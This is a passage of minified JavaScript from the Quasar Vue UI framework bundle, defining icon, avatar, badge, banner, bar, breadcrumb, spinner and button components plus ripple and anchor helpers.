                return /^[l|f]a[s|r|l|b|d]{0,1} /.test(i) || !0 === i.startsWith("icon-") ? t = i : !0 === i.startsWith("bt-") ? t = "bt " + i : !0 === i.startsWith("eva-") ? t = "eva " + i : !0 === /^ion-(md|ios|logo)/.test(i) ? t = "ionicons " + i : !0 === i.startsWith("ion-") ? t = "ionicons ion-" + (!0 === this.$q.platform.is.ios ? "ios" : "md") + i.substr(3) : !0 === i.startsWith("mdi-") ? t = "mdi " + i : !0 === i.startsWith("iconfont ") ? t = "" + i : !0 === i.startsWith("ti-") ? t = "themify-icon " + i : (t = "material-icons",
                !0 === i.startsWith("o_") ? (i = i.substring(2),
                t += "-outlined") : !0 === i.startsWith("r_") ? (i = i.substring(2),
                t += "-round") : !0 === i.startsWith("s_") && (i = i.substring(2),
                t += "-sharp"),
                a = i),
                {
                    cls: t + " " + this.classes,
                    content: a
                }
            }
        },
        render: function(t) {
            var e = {
                class: this.type.cls,
                style: this.sizeStyle,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    "aria-hidden": "true",
                    role: "presentation"
                }
            };
            return !0 === this.type.none ? t(this.tag, e, Lt(this, "default")) : !0 === this.type.img ? (e.attrs.src = this.type.src,
            t("img", e)) : !0 === this.type.svg ? (e.attrs.focusable = "false",
            e.attrs.viewBox = this.type.viewBox,
            t("svg", e, Pt(this.type.nodes, this, "default"))) : !0 === this.type.svguse ? (e.attrs.focusable = "false",
            e.attrs.viewBox = this.type.viewBox,
            t("svg", e, [t("use", {
                attrs: {
                    "xlink:href": this.type.src
                }
            }), Pt(this.type.nodes, this, "default")])) : t(this.tag, e, Pt([this.type.content], this, "default"))
        }
    })
      , zt = t.extend({
        name: "QAvatar",
        mixins: [Mt, Tt],
        props: {
            fontSize: String,
            color: String,
            textColor: String,
            icon: String,
            square: Boolean,
            rounded: Boolean
        },
        computed: {
            contentClass: function() {
                var t;
                return (t = {})["bg-" + this.color] = this.color,
                t["text-" + this.textColor + " q-chip--colored"] = this.textColor,
                t["q-avatar__content--square"] = this.square,
                t["rounded-borders"] = this.rounded,
                t
            },
            contentStyle: function() {
                if (this.fontSize)
                    return {
                        fontSize: this.fontSize
                    }
            }
        },
        render: function(t) {
            var e = void 0 !== this.icon ? [t(Et, {
                props: {
                    name: this.icon
                }
            })] : void 0;
            return t("div", {
                staticClass: "q-avatar",
                style: this.sizeStyle,
                on: Object.assign({}, this.qListeners)
            }, [t("div", {
                staticClass: "q-avatar__content row flex-center overflow-hidden",
                class: this.contentClass,
                style: this.contentStyle
            }, Ot(e, this, "default"))])
        }
    })
      , At = t.extend({
        name: "QBadge",
        mixins: [Mt],
        props: {
            color: String,
            textColor: String,
            floating: Boolean,
            transparent: Boolean,
            multiLine: Boolean,
            outline: Boolean,
            label: [Number, String],
            align: {
                type: String,
                validator: function(t) {
                    return ["top", "middle", "bottom"].includes(t)
                }
            }
        },
        computed: {
            style: function() {
                if (void 0 !== this.align)
                    return {
                        verticalAlign: this.align
                    }
            },
            classes: function() {
                var t = !0 === this.outline && this.color || this.textColor;
                return "q-badge flex inline items-center no-wrap q-badge--" + (!0 === this.multiLine ? "multi" : "single") + "-line" + (!0 === this.outline ? " q-badge--outline" : void 0 !== this.color ? " bg-" + this.color : "") + (void 0 !== t ? " text-" + t : "") + (!0 === this.floating ? " q-badge--floating" : "") + (!0 === this.transparent ? " q-badge--transparent" : "")
            },
            attrs: function() {
                return {
                    role: "alert",
                    "aria-label": this.label
                }
            }
        },
        render: function(t) {
            return t("div", {
                style: this.style,
                class: this.classes,
                attrs: this.attrs,
                on: Object.assign({}, this.qListeners)
            }, void 0 !== this.label ? [this.label] : Lt(this, "default"))
        }
    })
      , Dt = {
        props: {
            dark: {
                type: Boolean,
                default: null
            }
        },
        computed: {
            isDark: function() {
                return null === this.dark ? this.$q.dark.isActive : this.dark
            }
        }
    }
      , Rt = {
        role: "alert"
    }
      , It = t.extend({
        name: "QBanner",
        mixins: [Mt, Dt],
        props: {
            inlineActions: Boolean,
            dense: Boolean,
            rounded: Boolean
        },
        render: function(t) {
            var e = Lt(this, "action")
              , i = [t("div", {
                staticClass: "q-banner__avatar col-auto row items-center self-start"
            }, Lt(this, "avatar")), t("div", {
                staticClass: "q-banner__content col text-body2"
            }, Lt(this, "default"))];
            return void 0 !== e && i.push(t("div", {
                staticClass: "q-banner__actions row items-center justify-end",
                class: "col-" + (!0 === this.inlineActions ? "auto" : "all")
            }, e)),
            t("div", {
                staticClass: "q-banner row items-center",
                class: {
                    "q-banner--top-padding": void 0 !== e && !this.inlineActions,
                    "q-banner--dense": this.dense,
                    "q-banner--dark q-dark": this.isDark,
                    "rounded-borders": this.rounded
                },
                attrs: Rt,
                on: Object.assign({}, this.qListeners)
            }, i)
        }
    })
      , Ft = {
        role: "toolbar"
    }
      , jt = t.extend({
        name: "QBar",
        mixins: [Mt, Dt],
        props: {
            dense: Boolean
        },
        computed: {
            classes: function() {
                return "q-bar--" + (!0 === this.dense ? "dense" : "standard") + " q-bar--" + (!0 === this.isDark ? "dark" : "light")
            }
        },
        render: function(t) {
            return t("div", {
                staticClass: "q-bar row no-wrap items-center",
                class: this.classes,
                attrs: Ft,
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    })
      , Vt = {
        left: "start",
        center: "center",
        right: "end",
        between: "between",
        around: "around",
        evenly: "evenly",
        stretch: "stretch"
    }
      , Nt = Object.keys(Vt)
      , Ht = {
        props: {
            align: {
                type: String,
                validator: function(t) {
                    return Nt.includes(t)
                }
            }
        },
        computed: {
            alignClass: function() {
                var t = void 0 === this.align ? !0 === this.vertical ? "stretch" : "left" : this.align;
                return (!0 === this.vertical ? "items" : "justify") + "-" + Vt[t]
            }
        }
    }
      , Qt = t.extend({
        name: "QBreadcrumbs",
        mixins: [Mt, Ht],
        props: {
            separator: {
                type: String,
                default: "/"
            },
            separatorColor: String,
            activeColor: {
                type: String,
                default: "primary"
            },
            gutter: {
                type: String,
                validator: function(t) {
                    return ["none", "xs", "sm", "md", "lg", "xl"].includes(t)
                },
                default: "sm"
            }
        },
        computed: {
            classes: function() {
                return this.alignClass + ("none" === this.gutter ? "" : " q-gutter-" + this.gutter)
            },
            sepClass: function() {
                if (this.separatorColor)
                    return "text-" + this.separatorColor
            },
            activeClass: function() {
                return "text-" + this.activeColor
            }
        },
        render: function(t) {
            var e = this
              , i = Lt(this, "default");
            if (void 0 !== i) {
                var s = 1
                  , n = []
                  , o = i.filter(function(t) {
                    return void 0 !== t.tag && t.tag.endsWith("-QBreadcrumbsEl")
                }).length
                  , r = void 0 !== this.$scopedSlots.separator ? this.$scopedSlots.separator : function() {
                    return e.separator
                }
                ;
                return i.forEach(function(i) {
                    if (void 0 !== i.tag && i.tag.endsWith("-QBreadcrumbsEl")) {
                        var a = s < o;
                        s++,
                        n.push(t("div", {
                            staticClass: "flex items-center",
                            class: a ? e.activeClass : "q-breadcrumbs--last"
                        }, [i])),
                        a && n.push(t("div", {
                            staticClass: "q-breadcrumbs__separator",
                            class: e.sepClass
                        }, r()))
                    } else
                        n.push(i)
                }),
                t("div", {
                    staticClass: "q-breadcrumbs",
                    on: Object.assign({}, this.qListeners)
                }, [t("div", {
                    staticClass: "flex items-center",
                    class: this.classes
                }, n)])
            }
        }
    })
      , Wt = {
        props: {
            to: [String, Object],
            exact: Boolean,
            append: Boolean,
            replace: Boolean,
            activeClass: String,
            exactActiveClass: String,
            disable: Boolean
        },
        computed: {
            hasRouterLink: function() {
                return !0 !== this.disable && void 0 !== this.to && null !== this.to && "" !== this.to
            },
            routerLinkProps: function() {
                return {
                    to: this.to,
                    exact: this.exact,
                    append: this.append,
                    replace: this.replace,
                    activeClass: this.activeClass || "q-router-link--active",
                    exactActiveClass: this.exactActiveClass || "q-router-link--exact-active",
                    event: !0 === this.disable ? "" : void 0
                }
            }
        }
    }
      , Yt = t.extend({
        name: "QBreadcrumbsEl",
        mixins: [Mt, Wt],
        props: {
            label: String,
            icon: String
        },
        render: function(t) {
            var e, i = [];
            return void 0 !== this.icon && i.push(t(Et, {
                staticClass: "q-breadcrumbs__el-icon",
                class: void 0 !== this.label ? "q-breadcrumbs__el-icon--with-label" : null,
                props: {
                    name: this.icon
                }
            })),
            this.label && i.push(this.label),
            t(!0 === this.hasRouterLink ? "router-link" : "span", ((e = {
                staticClass: "q-breadcrumbs__el q-link flex inline items-center relative-position",
                props: !0 === this.hasRouterLink ? this.routerLinkProps : null
            })[!0 === this.hasRouterLink ? "nativeOn" : "on"] = Object.assign({}, this.qListeners),
            e), Pt(i, this, "default"))
        }
    })
      , Ut = {
        mixins: [Mt],
        props: {
            color: String,
            size: {
                type: [Number, String],
                default: "1em"
            }
        },
        computed: {
            cSize: function() {
                return this.size in kt ? kt[this.size] + "px" : this.size
            },
            classes: function() {
                if (this.color)
                    return "text-" + this.color
            }
        }
    }
      , Kt = t.extend({
        name: "QSpinner",
        mixins: [Ut],
        props: {
            thickness: {
                type: Number,
                default: 5
            }
        },
        render: function(t) {
            return t("svg", {
                staticClass: "q-spinner q-spinner-mat",
                class: this.classes,
                on: Object.assign({}, this.qListeners),
                attrs: {
                    focusable: "false",
                    width: this.cSize,
                    height: this.cSize,
                    viewBox: "25 25 50 50"
                }
            }, [t("circle", {
                staticClass: "path",
                attrs: {
                    cx: "50",
                    cy: "50",
                    r: "20",
                    fill: "none",
                    stroke: "currentColor",
                    "stroke-width": this.thickness,
                    "stroke-miterlimit": "10"
                }
            })])
        }
    });
    function Xt(t) {
        if (t === window)
            return {
                top: 0,
                left: 0
            };
        var e = t.getBoundingClientRect();
        return {
            top: e.top,
            left: e.left
        }
    }
    function Gt(t) {
        return t === window ? window.innerHeight : t.getBoundingClientRect().height
    }
    function Zt(t, e) {
        var i = t.style;
        Object.keys(e).forEach(function(t) {
            i[t] = e[t]
        })
    }
    function Jt(t, e) {
        return !0 === t ? e === document.documentElement ? document.body : e : document.body
    }
    var te = {
        offset: Xt,
        style: function(t, e) {
            return window.getComputedStyle(t).getPropertyValue(e)
        },
        height: Gt,
        width: function(t) {
            return t === window ? window.innerWidth : t.getBoundingClientRect().width
        },
        css: Zt,
        cssBatch: function(t, e) {
            t.forEach(function(t) {
                return Zt(t, e)
            })
        },
        ready: function(t) {
            if ("function" == typeof t)
                return "loading" !== document.readyState ? t() : void document.addEventListener("DOMContentLoaded", t, !1)
        }
    };
    function ee(t, e) {
        void 0 === e && (e = 250);
        var i, s = !1;
        return function() {
            return !1 === s && (s = !0,
            setTimeout(function() {
                s = !1
            }, e),
            i = t.apply(this, arguments)),
            i
        }
    }
    function ie(t, e, i, s) {
        !0 === i.modifiers.stop && y(t);
        var n = i.modifiers.color
          , o = i.modifiers.center;
        o = !0 === o || !0 === s;
        var r = document.createElement("span")
          , a = document.createElement("span")
          , l = v(t)
          , c = e.getBoundingClientRect()
          , u = c.left
          , h = c.top
          , d = c.width
          , p = c.height
          , f = Math.sqrt(d * d + p * p)
          , m = f / 2
          , g = (d - f) / 2 + "px"
          , _ = o ? g : l.left - u - m + "px"
          , b = (p - f) / 2 + "px"
          , w = o ? b : l.top - h - m + "px";
        a.className = "q-ripple__inner",
        Zt(a, {
            height: f + "px",
            width: f + "px",
            transform: "translate3d(" + _ + "," + w + ",0) scale3d(.2,.2,1)",
            opacity: 0
        }),
        r.className = "q-ripple" + (n ? " text-" + n : ""),
        r.setAttribute("dir", "ltr"),
        r.appendChild(a),
        e.appendChild(r);
        var S = function() {
            r.remove(),
            clearTimeout(x)
        };
        i.abort.push(S);
        var x = setTimeout(function() {
            a.classList.add("q-ripple__inner--enter"),
            a.style.transform = "translate3d(" + g + "," + b + ",0) scale3d(1,1,1)",
            a.style.opacity = .2,
            x = setTimeout(function() {
                a.classList.remove("q-ripple__inner--enter"),
                a.classList.add("q-ripple__inner--leave"),
                a.style.opacity = 0,
                x = setTimeout(function() {
                    r.remove(),
                    i.abort.splice(i.abort.indexOf(S), 1)
                }, 275)
            }, 250)
        }, 50)
    }
    function se(t, e) {
        var i = e.value
          , s = e.modifiers
          , n = e.arg;
        if (t.enabled = !1 !== i,
        !0 === t.enabled) {
            var o = Object.assign({}, at.config.ripple, s, i);
            t.modifiers = {
                early: !0 === o.early,
                stop: !0 === o.stop,
                center: !0 === o.center,
                color: o.color || n,
                keyCodes: [].concat(o.keyCodes || 13)
            }
        }
    }
    var ne = {
        name: "ripple",
        inserted: function(t, e) {
            var i = {
                modifiers: {},
                abort: [],
                start: function(e) {
                    !0 === i.enabled && !0 !== e.qSkipRipple && (!0 !== u.is.ie || e.clientX >= 0) && (!0 === i.modifiers.early ? !0 === ["mousedown", "touchstart"].includes(e.type) : "click" === e.type) && ie(e, t, i, !0 === e.qKeyEvent)
                },
                keystart: ee(function(e) {
                    !0 === i.enabled && !0 !== e.qSkipRipple && !0 === tt(e, i.modifiers.keyCodes) && e.type === "key" + (!0 === i.modifiers.early ? "down" : "up") && ie(e, t, i, !0)
                }, 300)
            };
            se(i, e),
            t.__qripple && (t.__qripple_old = t.__qripple),
            t.__qripple = i,
            k(i, "main", [[t, "mousedown", "start", "passive"], [t, "touchstart", "start", "passive"], [t, "click", "start", "passive"], [t, "keydown", "keystart", "passive"], [t, "keyup", "keystart", "passive"]])
        },
        update: function(t, e) {
            void 0 !== t.__qripple && se(t.__qripple, e)
        },
        unbind: function(t) {
            var e = t.__qripple_old || t.__qripple;
            void 0 !== e && (e.abort.forEach(function(t) {
                t()
            }),
            q(e, "main"),
            delete t[t.__qripple_old ? "__qripple_old" : "__qripple"])
        }
    }
      , oe = {
        directives: {
            Ripple: ne
        },
        props: {
            ripple: {
                type: [Boolean, Object],
                default: !0
            }
        }
    }
      , re = {
        none: 0,
        xs: 4,
        sm: 8,
        md: 16,
        lg: 24,
        xl: 32
    }
      , ae = {
        mixins: [Mt, oe, Ht, qt({
            xs: 8,
            sm: 10,
            md: 14,
            lg: 20,
            xl: 24
        })],
        props: {
            type: String,
            to: [Object, String],
            replace: Boolean,
            label: [Number, String],
            icon: String,
            iconRight: String,
            round: Boolean,
            outline: Boolean,
            flat: Boolean,
            unelevated: Boolean,
            rounded: Boolean,
            push: Boolean,
            glossy: Boolean,
            size: String,
            fab: Boolean,
            fabMini: Boolean,
            padding: String,
            color: String,
            textColor: String,
            noCaps: Boolean,
            noWrap: Boolean,
            dense: Boolean,
            tabindex: [Number, String],
            align: {
                default: "center"
            },
            stack: Boolean,
            stretch: Boolean,
            loading: {
                type: Boolean,
                default: null
            },
            disable: Boolean
        },
        computed: {
            style: function() {
                if (!1 === this.fab && !1 === this.fabMini)
                    return this.sizeStyle
            },
            isRounded: function() {
                return !0 === this.rounded || !0 === this.fab || !0 === this.fabMini
            },
            isActionable: function() {
                return !0 !== this.disable && !0 !== this.loading
            },
            computedTabIndex: function() {
                return !0 === this.isActionable ? this.tabindex || 0 : -1
            },
            hasRouterLink: function() {
                return !0 !== this.disable && void 0 !== this.to && null !== this.to && "" !== this.to
            },
            isLink: function() {
                return "a" === this.type || !0 === this.hasRouterLink
            },
            design: function() {
                return !0 === this.flat ? "flat" : !0 === this.outline ? "outline" : !0 === this.push ? "push" : !0 === this.unelevated ? "unelevated" : "standard"
            },
            attrs: function() {
                var t = {
                    tabindex: this.computedTabIndex
                };
                return "a" !== this.type && (t.type = this.type || "button"),
                !0 === this.hasRouterLink ? (t.href = this.$router.resolve(this.to).href,
                t.role = "link") : t.role = "a" === this.type ? "link" : "button",
                !0 === this.loading && void 0 !== this.percentage && (t.role = "progressbar",
                t["aria-valuemin"] = 0,
                t["aria-valuemax"] = 100,
                t["aria-valuenow"] = this.percentage),
                !0 === this.disable && (t.disabled = "",
                t["aria-disabled"] = ""),
                t
            },
            classes: function() {
                var t;
                return void 0 !== this.color ? t = !0 === this.flat || !0 === this.outline ? "text-" + (this.textColor || this.color) : "bg-" + this.color + " text-" + (this.textColor || "white") : this.textColor && (t = "text-" + this.textColor),
                "q-btn--" + this.design + " q-btn--" + (!0 === this.round ? "round" : "rectangle" + (!0 === this.isRounded ? " q-btn--rounded" : "")) + (void 0 !== t ? " " + t : "") + (!0 === this.isActionable ? " q-btn--actionable q-focusable q-hoverable" : !0 === this.disable ? " disabled" : "") + (!0 === this.fab ? " q-btn--fab" : !0 === this.fabMini ? " q-btn--fab-mini" : "") + (!0 === this.noCaps ? " q-btn--no-uppercase" : "") + (!0 === this.noWrap ? "" : " q-btn--wrap") + (!0 === this.dense ? " q-btn--dense" : "") + (!0 === this.stretch ? " no-border-radius self-stretch" : "") + (!0 === this.glossy ? " glossy" : "")
            },
            innerClasses: function() {
                return this.alignClass + (!0 === this.stack ? " column" : " row") + (!0 === this.noWrap ? " no-wrap text-no-wrap" : "") + (!0 === this.loading ? " q-btn__content--hidden" : "")
            },
            wrapperStyle: function() {
                if (void 0 !== this.padding)
                    return {
                        padding: this.padding.split(/\s+/).map(function(t) {
                            return t in re ? re[t] + "px" : t
                        }).join(" "),
                        minWidth: "0",
                        minHeight: "0"
                    }
            }
        }
    }
      , le = ["left", "right", "up", "down", "horizontal", "vertical"]
      , ce = {
        left: !0,
        right: !0,
        up: !0,
        down: !0,
        horizontal: !0,
        vertical: !0,
        all: !0
    };
    function ue(t) {
        var e = {};
        return le.forEach(function(i) {
            t[i] && (e[i] = !0)
        }),
        0 === Object.keys(e).length ? ce : (!0 === e.horizontal && (e.left = e.right = !0),
        !0 === e.vertical && (e.up = e.down = !0),
        !0 === e.left && !0 === e.right && (e.horizontal = !0),
        !0 === e.up && !0 === e.down && (e.vertical = !0),
        !0 === e.horizontal && !0 === e.vertical && (e.all = !0),
        e)
    }
    function he(t, e) {
        var i = e.oldValue
          , s = e.value
          , n = e.modifiers;
        i !== s && ("function" != typeof s && t.end(),
        t.handler = s),
        (t.modifiers.mouseAllDir !== n.mouseAllDir || le.some(function(e) {
            return n[e] !== t.modifiers[e]
        })) && (t.modifiers = n,
        t.direction = ue(n))
    }
    var de = !1 === i && !0 !== o && (!0 === u.is.ios || window.navigator.vendor.toLowerCase().indexOf("apple") > -1) ? function() {
        return document
    }
    : function(t) {
        return t
    }
    ;
    function pe(t, e) {
        return void 0 === e.event && void 0 !== t.target && !0 !== t.target.draggable && "function" == typeof e.handler && "INPUT" !== t.target.nodeName.toUpperCase() && (void 0 === t.qClonedBy || -1 === t.qClonedBy.indexOf(e.uid))
    }
    var fe = d.passiveCapture
      , me = void 0
      , ve = void 0
      , ge = void 0
      , _e = {
        role: "img",
        "aria-hidden": "true"
    }
      , be = t.extend({
        name: "QBtn",
        mixins: [ae],
        props: {
            percentage: Number,
            darkPercentage: Boolean
        },
        computed: {
            hasLabel: function() {
                return void 0 !== this.label && null !== this.label && "" !== this.label
            },
            computedRipple: function() {
                return !1 !== this.ripple && Object.assign({}, {
                    keyCodes: !0 === this.isLink ? [13, 32] : [13]
                }, !0 === this.ripple ? {} : this.ripple)
            },
            percentageStyle: function() {
                var t = Math.max(0, Math.min(100, this.percentage));
                if (t > 0)
                    return {
                        transition: "transform 0.6s",
                        transform: "translateX(" + (t - 100) + "%)"
                    }
            },
            onEvents: function() {
                if (!0 === this.loading)
                    return {
                        mousedown: this.__onLoadingEvt,
                        touchstart: this.__onLoadingEvt,
                        click: this.__onLoadingEvt,
                        keydown: this.__onLoadingEvt,
                        keyup: this.__onLoadingEvt
                    };
                if (!0 === this.isActionable) {
                    var t = Object.assign({}, this.qListeners, {
                        click: this.click,
                        keydown: this.__onKeydown,
                        mousedown: this.__onMousedown
                    });
                    return !0 === this.$q.platform.has.touch && (t.touchstart = this.__onTouchstart),
                    t
                }
                return {}
            },
            directives: function() {
                if (!0 !== this.disable && !1 !== this.ripple)
                    return [{
                        name: "ripple",
                        value: this.computedRipple,
                        modifiers: {
                            center: this.round
                        }
                    }]
            }
        },
        methods: {
            click: function(t) {
                var e = this;
                if (void 0 !== t) {
                    if (!0 === t.defaultPrevented)
                        return;
                    var i = document.activeElement;
                    if ("submit" === this.type && (!0 === this.$q.platform.is.ie && (t.clientX < 0 || t.clientY < 0) || i !== document.body && !1 === this.$el.contains(i) && !1 === i.contains(this.$el))) {
                        this.$el.focus();
                        var s = function() {
                            document.removeEventListener("keydown", S, !0),
                            document.removeEventListener("keyup", s, fe),
                            void 0 !== e.$el && e.$el.removeEventListener("blur", s, fe)
                        };
                        document.addEventListener("keydown", S, !0),
                        document.addEventListener("keyup", s, fe),
                        this.$el.addEventListener("blur", s, fe)
                    }
                    if (!0 === this.hasRouterLink) {
                        if (!0 === t.ctrlKey || !0 === t.shiftKey || !0 === t.altKey || !0 === t.metaKey)
                            return;
                        S(t)
                    }
                }
                var n = function() {
                    var t = e.$router[!0 === e.replace ? "replace" : "push"](e.to);
                    void 0 !== t && "function" == typeof t.catch && t.catch(f)
                };
                this.$emit("click", t, n),
                !0 === this.hasRouterLink && !1 !== t.navigate && n()
            },
            __onKeydown: function(t) {
                !0 === tt(t, [13, 32]) && (S(t),
                ve !== this.$el && (void 0 !== ve && this.__cleanup(),
                this.$el.focus(),
                ve = this.$el,
                this.$el.classList.add("q-btn--active"),
                document.addEventListener("keyup", this.__onPressEnd, !0),
                this.$el.addEventListener("blur", this.__onPressEnd, fe))),
                this.$emit("keydown", t)
            },
            __onTouchstart: function(t) {
                var e = this;
                if (me !== this.$el) {
                    void 0 !== me && this.__cleanup(),
                    me = this.$el;
                    var i = this.touchTargetEl = de(t.target);
                    i.addEventListener("touchcancel", this.__onPressEnd, fe),
                    i.addEventListener("touchend", this.__onPressEnd, fe)
                }
                this.avoidMouseRipple = !0,
                clearTimeout(this.mouseTimer),
                this.mouseTimer = setTimeout(function() {
                    e.avoidMouseRipple = !1
                }, 200),
                this.$emit("touchstart", t)
            },
            __onMousedown: function(t) {
                ge !== this.$el && (void 0 !== ge && this.__cleanup(),
                ge = this.$el,
                this.$el.classList.add("q-btn--active"),
                document.addEventListener("mouseup", this.__onPressEnd, fe)),
                t.qSkipRipple = !0 === this.avoidMouseRipple,
                this.$emit("mousedown", t)
            },
            __onPressEnd: function(t) {
                if (void 0 === t || "blur" !== t.type || document.activeElement !== this.$el) {
                    if (void 0 !== t && "keyup" === t.type) {
                        if (ve === this.$el && !0 === tt(t, [13, 32])) {
                            var e = new MouseEvent("click",t);
                            e.qKeyEvent = !0,
                            !0 === t.defaultPrevented && w(e),
                            !0 === t.cancelBubble && y(e),
                            this.$el.dispatchEvent(e),
                            S(t),
                            t.qKeyEvent = !0
                        }
                        this.$emit("keyup", t)
                    }
                    this.__cleanup()
                }
            },
            __cleanup: function(t) {
                var e = this.$refs.blurTarget;
                if (!0 === t || me !== this.$el && ge !== this.$el || void 0 === e || e === document.activeElement || (e.setAttribute("tabindex", -1),
                e.focus()),
                me === this.$el) {
                    var i = this.touchTargetEl;
                    i.removeEventListener("touchcancel", this.__onPressEnd, fe),
                    i.removeEventListener("touchend", this.__onPressEnd, fe),
                    me = this.touchTargetEl = void 0
                }
                ge === this.$el && (document.removeEventListener("mouseup", this.__onPressEnd, fe),
                ge = void 0),
                ve === this.$el && (document.removeEventListener("keyup", this.__onPressEnd, !0),
                void 0 !== this.$el && this.$el.removeEventListener("blur", this.__onPressEnd, fe),
                ve = void 0),
                void 0 !== this.$el && this.$el.classList.remove("q-btn--active")
            },
            __onLoadingEvt: function(t) {
                S(t),
                t.qSkipRipple = !0
            }
        },
        beforeDestroy: function() {
            this.__cleanup(!0)
        },
        render: function(t) {
            var e = [];
            void 0 !== this.icon && e.push(t(Et, {
                attrs: _e,
                props: {
                    name: this.icon,
                    left: !1 === this.stack && !0 === this.hasLabel
                }
            })),
            !0 === this.hasLabel && e.push(t("span", {
                staticClass: "block"
            }, [this.label])),
            e = Pt(e, this, "default"),
            void 0 !== this.iconRight && !1 === this.round && e.push(t(Et, {
                attrs: _e,
                props: {
                    name: this.iconRight,
                    right: !1 === this.stack && !0 === this.hasLabel
                }
            }));
            var i = [t("span", {
                staticClass: "q-focus-helper",
                ref: "blurTarget"
            })];
            return !0 === this.loading && void 0 !== this.percentage && i.push(t("span", {
                staticClass: "q-btn__progress absolute-full overflow-hidden"
            }, [t("span", {
                staticClass: "q-btn__progress-indicator fit block",
                class: !0 === this.darkPercentage ? "q-btn__progress--dark" : "",
                style: this.percentageStyle
            })])),
            i.push(t("span", {
                staticClass: "q-btn__wrapper col row q-anchor--skip",
                style: this.wrapperStyle
            }, [t("span", {
                staticClass: "q-btn__content text-center col items-center q-anchor--skip",
                class: this.innerClasses
            }, e)])),
            null !== this.loading && i.push(t("transition", {
                props: {
                    name: "q-transition--fade"
                }
            }, !0 === this.loading ? [t("span", {
                key: "loading",
                staticClass: "absolute-full flex flex-center"
            }, void 0 !== this.$scopedSlots.loading ? this.$scopedSlots.loading() : [t(Kt)])] : void 0)),
            t(!0 === this.isLink ? "a" : "button", {
                staticClass: "q-btn q-btn-item non-selectable no-outline",
                class: this.classes,
                style: this.style,
                attrs: this.attrs,
                on: this.onEvents,
                directives: this.directives
            }, i)
        }
    })
      , ye = t.extend({
        name: "QBtnGroup",
        mixin: [Mt],
        props: {
            unelevated: Boolean,
            outline: Boolean,
            flat: Boolean,
            rounded: Boolean,
            push: Boolean,
            stretch: Boolean,
            glossy: Boolean,
            spread: Boolean
        },
        computed: {
            classes: function() {
                var t = this;
                return ["unelevated", "outline", "flat", "rounded", "push", "stretch", "glossy"].filter(function(e) {
                    return !0 === t[e]
                }).map(function(t) {
                    return "q-btn-group--" + t
                }).join(" ")
            }
        },
        render: function(t) {
            return t("div", {
                staticClass: "q-btn-group row no-wrap " + (!0 === this.spread ? "q-btn-group--spread" : "inline"),
                class: this.classes,
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    });
    function we() {
        if (void 0 !== window.getSelection) {
            var t = window.getSelection();
            void 0 !== t.empty ? t.empty() : void 0 !== t.removeAllRanges && (t.removeAllRanges(),
            !0 !== h.is.mobile && t.addRange(document.createRange()))
        } else
            void 0 !== document.selection && document.selection.empty()
    }
    var Se = {
        props: {
            target: {
                default: !0
            },
            noParentEvent: Boolean,
            contextMenu: Boolean
        },
        watch: {
            contextMenu: function(t) {
                void 0 !== this.anchorEl && (this.__unconfigureAnchorEl(),
                this.__configureAnchorEl(t))
            },
            target: function() {
                void 0 !== this.anchorEl && this.__unconfigureAnchorEl(),
                this.__pickAnchorEl()
            },
            noParentEvent: function(t) {
                void 0 !== this.anchorEl && (!0 === t ? this.__unconfigureAnchorEl() : this.__configureAnchorEl())
            }
        },
        methods: {
            __showCondition: function(t) {
                return void 0 !== this.anchorEl && (void 0 === t || (void 0 === t.touches || t.touches.length <= 1))
            },
            __contextClick: function(t) {
                var e = this;
                this.hide(t),
                this.$nextTick(function() {
                    e.show(t)
                }),
                w(t)
            },
            __toggleKey: function(t) {
                !0 === tt(t, 13) && this.toggle(t)
            },
            __mobileCleanup: function(t) {
                this.anchorEl.classList.remove("non-selectable"),
                clearTimeout(this.touchTimer),
                !0 === this.showing && void 0 !== t && we()
            },
            __mobilePrevent: w,
            __mobileTouch: function(t) {
                var e = this;
                if (this.__mobileCleanup(t),
                !0 === this.__showCondition(t)) {
                    this.hide(t),
                    this.anchorEl.classList.add("non-selectable");
                    var i = de(t.target);
                    k(this, "anchor", [[i, "touchmove", "__mobileCleanup", "passive"], [i, "touchend", "__mobileCleanup", "passive"], [i, "touchcancel", "__mobileCleanup", "passive"], [this.anchorEl, "contextmenu", "__mobilePrevent", "notPassive"]]),
                    this.touchTimer = setTimeout(function() {
                        e.show(t)
                    }, 300)
                }
            },
            __unconfigureAnchorEl: function() {
                q(this, "anchor")
            },
            __configureAnchorEl: function(t) {
                (void 0 === t && (t = this.contextMenu),
                !0 !== this.noParentEvent && void 0 !== this.anchorEl) && k(this, "anchor", !0 === t ? !0 === this.$q.platform.is.mobile ? [[this.anchorEl, "touchstart", "__mobileTouch", "passive"]] : [[this.anchorEl, "click", "hide", "passive"], [this.anchorEl, "contextmenu", "__contextClick", "notPassive"]] : [[this.anchorEl, "click", "toggle", "passive"], [this.anchorEl, "keyup", "__toggleKey", "passive"]])
            },
            __setAnchorEl: function(t) {
                for (this.anchorEl = t; this.anchorEl.classList.contains("q-anchor--skip"); )
                    this.anchorEl = this.anchorEl.parentNode;
                this.__configureAnchorEl()
            },
            __pickAnchorEl: function() {
                if (!1 === this.target || "" === this.target)
                    this.anchorEl = void 0;
                else if (!0 === this.target)
                    this.__setAnchorEl(this.parentEl);
                else {
                    var t = this.target;
                    if ("string" == typeof this.target)
                        try {
                            t = document.querySelector(this.target)
                        } catch (e) {
                            t = void 0
                        }
                    void 0 !== t && null !== t ? (this.anchorEl = !0 === t._isVue && void 0 !== t.$el ? t.$el : t,
                    this.__configureAnchorEl()) : (this.anchorEl = void 0,
                    console.error('Anchor: target "' + this.target + '" not found', this))
                }
            },
            __changeScrollEvent: function(t, e) {
                var i = (void 0 !== e ? "add" : "remove") + "EventListener"
                  , s = void 0 !== e ? e : this.__scrollFn;
                t !== window && t[i]("scroll", s, d.passive),
                window[i]("scroll", s, d.passive),
                this.__scrollFn = e
            }
        },
        created: function() {
            var t = this;
            "function" == typeof this.__configureScrollTarget && "function" == typeof this.__unconfigureScrollTarget && (this.noParentEventWatcher = this.$watch("noParentEvent", function() {
                void 0 !== t.__scrollTarget && (t.__unconfigureScrollTarget(),
                t.__configureScrollTarget())
            }))
        },
        mounted: function() {
            this.parentEl = this.$el.parentNode,
            this.__pickAnchorEl(),
            !0 === this.value && void 0 === this.anchorEl && this.$emit("input", !1)
        },
        beforeDestroy: function() {
            clearTimeout(this.touchTimer),
            void 0 !== this.noParentEventWatcher && this.noParentEventWatcher(),
            void 0 !== this.__anchorCleanup && this.__anchorCleanup(),
            this.__unconfigureAnchorEl()
        }
    }
